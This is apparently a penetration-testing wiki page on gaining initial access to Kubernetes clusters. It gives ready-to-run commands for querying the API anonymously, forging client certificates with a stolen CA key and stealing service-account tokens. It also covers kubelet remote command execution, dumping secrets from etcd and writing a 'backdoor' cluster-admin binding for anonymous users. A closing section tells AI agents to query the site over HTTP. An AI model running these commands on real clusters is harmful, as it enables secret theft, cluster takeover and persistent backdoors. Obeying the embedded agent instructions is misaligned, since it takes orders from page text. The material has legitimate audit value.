# Initial Access

## Overview

Initial access to Kubernetes clusters can be achieved through various attack vectors, ranging from misconfigurations in authentication mechanisms to exploitation of exposed services. This phase focuses on gaining the first foothold in the cluster.

***

## Anonymous Access

Anonymous access is a rare misconfiguration, but it can occur if excessive access has been granted to the anonymous role.

```yaml
# Dangerous anonymous binding
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: system:anonymous
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin  # DANGEROUS!
subjects:
- apiGroup: rbac.authorization.k8s.io
  kind: User
  name: system:anonymous
```

### **Testing Anonymous Access**

Obtaining anonymous access on certain API endpoints can lead to sensitive information disclosure.

```bash
# Test anonymous access to API server
curl -k https://<api_server>:6443/api/v1

# Check anonymous permissions
curl -k https://<api_server>:6443/api/v1/namespaces

# Test specific resources
curl -k https://<api_server>:6443/api/v1/pods
curl -k https://<api_server>:6443/api/v1/secrets
curl -k https://<api_server>:6443/api/v1/nodes
```

**Anonymous Permission Enumeration:**

```bash
# Using kubectl without credentials
kubectl --server=https://<api_server>:6443 --insecure-skip-tls-verify auth can-i --list

# Check specific permissions
kubectl --server=https://<api_server>:6443 --insecure-skip-tls-verify auth can-i get pods
kubectl --server=https://<api_server>:6443 --insecure-skip-tls-verify auth can-i create pods
```

### **Exploitation Commands**

```bash
# If anonymous has cluster-admin
kubectl --server=https://<api_server>:6443 --insecure-skip-tls-verify get secrets --all-namespaces

# Create malicious pod
kubectl --server=https://<api_server>:6443 --insecure-skip-tls-verify apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: infiltr8-pod
  namespace: default
spec:
  containers:
  - name: infiltr8
    image: alpine
    command: ["/bin/sh", "-c", "sleep 3600"]
    securityContext:
      privileged: true 
  hostNetwork: true
  hostPID: true
EOF
```

***

## Certificate Forgery

In Kubernetes, client authentication to the API server can be performed using **TLS client certificates**. If we gain access to the **private key of the cluster Certificate Authority (CA)** (`ca-key.pem`), they can forge valid client certificates and authenticate as **any identity they choose**, including highly privileged users.

```bash
# Generate a private key
openssl genrsa -out infiltr8.key 2048

# Create a Certificate Signing Request (CSR)
openssl req -new -key infiltr8.key -out infiltr8.csr -subj "/CN=system:masters/O=system:masters"

# Sign the certificate using the cluster CA
openssl x509 -req -in infiltr8.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out infiltr8.crt -days 365

```

Then create the K8S configuration to use the forged certificate:

```bash
# Create kubeconfig with forged certificate
kubectl config set-cluster target --server=https://<api_server>:6443 --certificate-authority=ca.crt
kubectl config set-credentials infiltr8--client-certificate=infiltr8.crt --client-key=infiltr8.key
kubectl config set-context attack --cluster=target --user=infiltr8
kubectl config use-context attack
```

***

## Service Account Takeover

### Token Presence and Extraction

By default, Kubernetes automatically mounts a **service account token** into most pods unless explicitly disabled. This token is a **JWT** used to authenticate to the Kubernetes API server.

```bash
# Verify service account token mount
ls -la /var/run/secrets/kubernetes.io/serviceaccount/

# Extract the token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

# Extract namespace and CA
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
```

At this point, we have **valid API credentials**.

### Authenticated API Enumeration (without kubectl)

Even if `kubectl` is not present, the token can be used directly with `curl` to enumerate Kubernetes resources.

```bash
# List pods in the current namespace
curl -s --cacert "$CACERT" \
  -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods | jq
```

```bash
# Enumerate secrets (common misconfiguration)
curl -s --cacert "$CACERT" \
  -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets | jq
```

### Permission Discovery and RBAC Enumeration

When `kubectl` is available, we can directly access RBAC permissions.

```bash
# Enumerate allowed actions
kubectl --token="$TOKEN" \
  --server=https://kubernetes.default.svc \
  --certificate-authority="$CACERT" \
  auth can-i --list
```

```bash
# Look for role bindings
kubectl --token="$TOKEN" \
  --server=https://kubernetes.default.svc \
  --certificate-authority="$CACERT" \
  get rolebindings -n $NAMESPACE
```

```bash
# Check cluster-wide privileges
kubectl --token="$TOKEN" \
  --server=https://kubernetes.default.svc \
  --certificate-authority="$CACERT" \
  get clusterrolebindings
```

If the service account is bound to `cluster-admin` or a wildcard role, **full cluster compromise** is achieved.

### Lateral Token Extraction

If the compromised service account has access to other pods, additional tokens can be harvested.

```bash
# Exec into another pod and steal its token
kubectl exec -it <pod_name> -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token
```

This enables **privilege pivoting** between service accounts.

### Token Extraction from etcd (Critical Misconfiguration)

If etcd is exposed, service account tokens can be extracted directly from cluster storage.

```bash
# Retrieve service account secrets from etcd
curl -k https://<etcd_ip>:2379/v2/keys/registry/secrets/default/default-token-* \
  | jq -r '.node.value' | base64 -d
```

This bypasses pod-level isolation entirely.

{% hint style="info" %}
Modern Kubernetes versions **reject unsigned tokens**, but testing is still relevant during audits of legacy clusters. Here our classical JWT pentest methods can be applied.
{% endhint %}

***

## `kubelet` API Exploits

### Unauthenticated `kubelet` Access

If you manage to reach to the `kubelet` API anonymously you might be able to obtain and RCE on pods.

**kubelet API Discovery:**

```bash
# Test kubelet read-only API (deprecated)
curl -k http://<node_ip>:10255/pods

# Test kubelet API without authentication
curl -k https://<node_ip>:10250/pods

# Check kubelet configuration
curl -k https://<node_ip>:10250/configz
```

**Pod Execution via kubelet:**

```bash
# Execute commands in running containers
curl -k https://<node_ip>:10250/run/<namespace>/<pod>/<container> \
     -d "cmd=whoami"

# Start interactive session
curl -k https://<node_ip>:10250/exec/<namespace>/<pod>/<container> \
     -d "cmd=/bin/bash" \
     -d "input=1" \
     -d "output=1" \
     -d "tty=1"
```

Those commands can also be performed with `kubeletctl`.

### `kubelet` Certificate Abuse

Being able to access the `kubelet` certificate will grand you access to the API and thus perform the same actions as described above.

**Certificate Extraction:**

```bash
# Kubelet configuration files
/var/lib/kubelet/kubeconfig
$HOME/.kube/config

# Extract kubelet client certificate
cp /var/lib/kubelet/pki/kubelet-client-current.pem kubelet.crt
cp /var/lib/kubelet/pki/kubelet-client-current.pem kubelet.key

# Use certificate for API access
curl -k --cert kubelet.crt --key kubelet.key https://<api_server>:6443/api/v1/nodes
```

### **`kubeletctl` Usage**

```bash
# Scan for accessible kubelets
kubeletctl scan --cidr <cidr_range>

# Get pods from kubelet
kubeletctl pods -s <target_ip>

# Execute commands in containers
kubeletctl exec "id" -p <pod_name> -c <container_name> -s <target_ip>

# Scan for easy RCE
kubeletctl scan rce -s <target_ip>

# Scan for Service Account Token
kubeletctl scan token -s <target_ip>
```

***

## `etcd` Direct Access

### Unauthenticated `etcd` Access

If you manage to reach to the `etcd` API anonymously you might be able to leak cluster secrets and manipulate user config.

**`etcd` Discovery and Access:**

```bash
# Test etcd accessibility
curl -k https://<etcd_server>:2379/version

# List all keys
curl -k https://<etcd_server>:2379/v2/keys/?recursive=true

# Extract Kubernetes secrets
curl -k https://<etcd_server>:2379/v2/keys/registry/secrets | jq
```

**Secret Extraction from `etcd`:**

```bash
# Extract all secrets
curl -k https://<etcd_server>:2379/v2/keys/registry/secrets?recursive=true | \
jq -r '.node.nodes[]?.nodes[]?.value' | \
while read secret; do
    echo "$secret" | base64 -d | jq
done

# Extract service account tokens
curl -k https://<etcd_server>:2379/v2/keys/registry/secrets/kube-system | \
jq -r '.node.nodes[] | select(.key | contains("token")) | .value' | \
base64 -d | jq -r '.data.token' | base64 -d
```

### **`etcd` Data Manipulation**

If the RBAC allows you to do so you can modify the user model in `etcd` and for example grand cluster admin privileges to the anonymous account:

```bash
# Create malicious cluster role binding
BINDING='{
  "apiVersion": "rbac.authorization.k8s.io/v1",
  "kind": "ClusterRoleBinding",
  "metadata": {"name": "backdoor"},
  "roleRef": {
    "apiGroup": "rbac.authorization.k8s.io",
    "kind": "ClusterRole",
    "name": "cluster-admin"
  },
  "subjects": [{
    "kind": "User",
    "name": "system:anonymous"
  }]
}'

# Encode and store in etcd
echo "$BINDING" | base64 | curl -k -X PUT \
https://<etcd_server>:2379/v2/keys/registry/clusterrolebindings/infiltr8 \
-d value="$(cat -)"
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.infiltr8.io/cloud-cicd-pentesting/kubernetes/initial-access.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
